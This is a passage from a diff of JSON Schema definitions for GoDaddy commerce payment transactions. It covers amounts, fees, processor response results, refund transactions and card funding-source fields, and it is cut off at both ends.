"description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } + "title": "PaymentContext", + "type": "object" + } + ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, - "required": [ - "amount", - "currency" - ] + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "approvalCode": { + "description": "Approval code that can be used for reference", + "readOnly": true, + "type": "string" + }, + "approvedAmount": { + "description": "If different than request amount", + "readOnly": true, + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] + "title": "Address Verification Status", + "type": "string" }, - "description": "Fees if any" - } + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" } - } - ], - "type": "object" + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], + "properties": { + "processorType": { + "type": "string" + } + }, + "required": [ + "processorType" + ], + "title": "DebitCardProcessorResponse", + "type": "object" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" + }, + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents refund transaction against a payment", + "properties": { + "alternateFundingSource": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", + "EBT_CARD": "./EBTCard.yaml", + "GODADDY": "../payment-token/GDPaymentTokenReference.yaml", + "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", + "PAYMENT_CARD": "./PaymentCard.yaml", + "PAYPAL": "../payment-token/PaypalPaymentToken.yaml" + }, + "propertyName": "sourceType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true + } + }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1Data": { + "description": "Card track 1 data", + "type": "string", + "writeOnly": true + }, + "track2Data": { + "description": "Card track 2 data", + "type": "string", + "writeOnly": true + }, + "track3Data": { + "description": "Card track 3 data", "type": "string", - "maxLength": 256 + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER" + ], + "type": "string" } }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" + }, + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "city": { + "description": "City", + "type": "string" + }, + "country": { + "description": "Country", + "type": "string" + }, + "line1": { + "description": "Address line 1", + "type": "string" + }, + "line2": { + "description": "Address line 2", + "type": "string" + }, + "postalCode": { + "description": "Postal Code", + "type": "string" + }, + "territory": { + "description": "Territory", + "type": "string" + }, + "territoryType": { + "description": "Territory type", + "enum": [ + "STATE", + "PROVINCE", + "OTHER" + ], + "type": "string" } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } + "required": [ + "line1", + "city", + "territory", + "territoryType", + "country", + "postalCode" + ], + "title": "Address", + "type": "object" }, - "properties": { - "processorType": { - "type": "string" - } + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true }, - "required": [ - "processorType" - ] + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true + }, + "threeDSecureData": { + "description": "3d secure data information", + "properties": { + "cryptogram": { + "type": "string" + }, + "eci": { + "type": "string" + } + }, + "type": "object", + "writeOnly": true + } }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } + "title": "Card VerificationData", + "type": "object" }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents authorization transaction against a payment" - }, - "readOnly": true, - "description": "Authorizations for the payment" - }, - "adjustments": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/adjustment.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Adjustment Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true + "processingInstruction": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "debit": { + "default": false, + "description": "If card should be processed as debit or not", + "type": "boolean" + }, + "signatureRequired": { + "default": false, + "description": "If signature is required for this transaction", + "type": "boolean" + } }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true + "title": "Card Processing Instruction", + "type": "object" + } + }, + "required": [ + "cardDetail" + ], + "title": "Payment Card", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "encrypted": { + "default": true, + "description": "True if the 